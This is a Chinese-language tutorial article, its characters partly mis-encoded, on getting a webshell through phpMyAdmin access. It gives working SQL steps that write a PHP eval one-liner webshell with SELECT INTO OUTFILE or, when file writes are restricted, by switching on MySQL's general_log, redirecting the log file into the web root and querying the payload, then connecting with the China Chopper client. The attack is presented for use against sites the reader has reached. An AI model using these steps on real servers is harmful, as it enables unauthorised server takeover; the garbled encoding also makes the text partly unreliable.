溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

phpmyadmin中g(shù)etshell有什么用

發(fā)布時(shí)間:2020-12-30 09:22:18 來(lái)源:億速云 閱讀:204 作者:小新 欄目:數(shù)據(jù)庫(kù)

這篇文章主要介紹了phpmyadmin中g(shù)etshell有什么用,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

phpMyAdmin 是一個(gè)以PHP為基礎(chǔ),以Web-Base方式架構(gòu)在網(wǎng)站主機(jī)上的MySQL的數(shù)據(jù)庫(kù)管理工具,讓管理者可用Web接口管理MySQL數(shù)據(jù)庫(kù)。借由此Web接口可以成為一個(gè)簡(jiǎn)易方式輸入繁雜SQL語(yǔ)法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個(gè)更大的優(yōu)勢(shì)在于由于phpMyAdmin跟其他PHP程式一樣在網(wǎng)頁(yè)服務(wù)器上執(zhí)行,但是您可以在任何地方使用這些程式產(chǎn)生的HTML頁(yè)面,也就是于遠(yuǎn)端管理MySQL數(shù)據(jù)庫(kù),方便的建立、修改、刪除數(shù)據(jù)庫(kù)及資料表。也可借由phpMyAdmin建立常用的php語(yǔ)法,方便編寫(xiě)網(wǎng)頁(yè)時(shí)所需要的sql語(yǔ)法正確性。

通俗的講 其作用就是可以在web頁(yè)面方便的操作數(shù)據(jù)庫(kù)。

當(dāng)我們得到一個(gè)站點(diǎn)的phpmyadmin頁(yè)面時(shí),下一步要做的就是getshell。

可以通過(guò)寫(xiě)shell進(jìn)行提權(quán),而我們需要滿足以下條件:

1.數(shù)據(jù)庫(kù)root權(quán)限

2.知道網(wǎng)站的物理路徑

3.數(shù)據(jù)庫(kù)有寫(xiě)權(quán)限

通過(guò)  select '<?php eval($_POST=[123];)?>' INTO OUTFILE '網(wǎng)站物理路徑' 寫(xiě)入shell

本文主要講的是在條件3不滿足的情況下成功getshell。

利用條件:MySQL 5.0+

MySQL 5.0+的版本會(huì)自動(dòng)創(chuàng)建日志文件,那么在服務(wù)運(yùn)行的情況下修改全局變量也是可以變動(dòng)文件位置的,但是必須要對(duì)生成日志的目錄有可讀可寫(xiě)的權(quán)限。

(Linux環(huán)境下可能會(huì)比較苛刻,因?yàn)檎军c(diǎn)目錄是一個(gè)用戶,MySQL是另外一個(gè)用戶,權(quán)限管控較為嚴(yán)格,主要取決于權(quán)限配置是否得當(dāng))

首先我們測(cè)試站點(diǎn)是否有寫(xiě)權(quán)限

執(zhí)行sql語(yǔ)句               SHOW VARIABLES LIKE 'secure_file_priv'

phpmyadmin中g(shù)etshell有什么用

phpmyadmin中g(shù)etshell有什么用

sql語(yǔ)句 SHOW VARIABLES LIKE 'secure_file_priv'  進(jìn)行查詢 查找secure_file_priv

secure-file-priv特性
secure-file-priv參數(shù)是用來(lái)限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個(gè)指定目錄的。

  • 當(dāng)secure_file_priv的值為null ,表示限制mysql 不允許導(dǎo)入|導(dǎo)出

  • 當(dāng)secure_file_priv的值為/tmp/ ,表示限制mysql 的導(dǎo)入|導(dǎo)出只能發(fā)生在/tmp/目錄下

  • 當(dāng)secure_file_priv的值沒(méi)有具體值時(shí),表示不對(duì)mysql 的導(dǎo)入|導(dǎo)出做限制

可以在mysql-ini文件中設(shè)置其屬性

phpmyadmin中g(shù)etshell有什么用

經(jīng)測(cè)試,我們沒(méi)有寫(xiě)權(quán)限

phpmyadmin中g(shù)etshell有什么用

然后再介紹兩個(gè)MySQL全局變量(general_log、general_log file

  1. general log 指的是日志保存狀態(tài),一共有兩個(gè)值(ON/OFF)ON代表開(kāi)啟 OFF代表關(guān)閉。

  2. general log file 指的是日志的保存路徑。

我們可以通過(guò)將一句話木馬寫(xiě)入mysql日志中然后移動(dòng)mysql日志路徑到網(wǎng)站目錄下實(shí)現(xiàn)getshell

執(zhí)行sql語(yǔ)句   SHOW VARIABLES LIKE 'general_log%'  進(jìn)行模糊查詢

phpmyadmin中g(shù)etshell有什么用

日志默認(rèn)關(guān)閉

我們執(zhí)行sql語(yǔ)句

set global general_log = "ON";     #開(kāi)啟日志
SET global general_log_file='網(wǎng)站下物理路徑';  #更換日志路徑

phpmyadmin中g(shù)etshell有什么用

成功創(chuàng)建

phpmyadmin中g(shù)etshell有什么用

phpmyadmin中g(shù)etshell有什么用

然后執(zhí)行特殊的查詢語(yǔ)句

select  '<?php eval($_POST[aaa]);?>'

phpmyadmin中g(shù)etshell有什么用

我們進(jìn)入112233.php進(jìn)行驗(yàn)證,成功寫(xiě)入shell

phpmyadmin中g(shù)etshell有什么用

最后進(jìn)行菜刀連接,獲得站點(diǎn)webshell

phpmyadmin中g(shù)etshell有什么用

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“phpmyadmin中g(shù)etshell有什么用”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI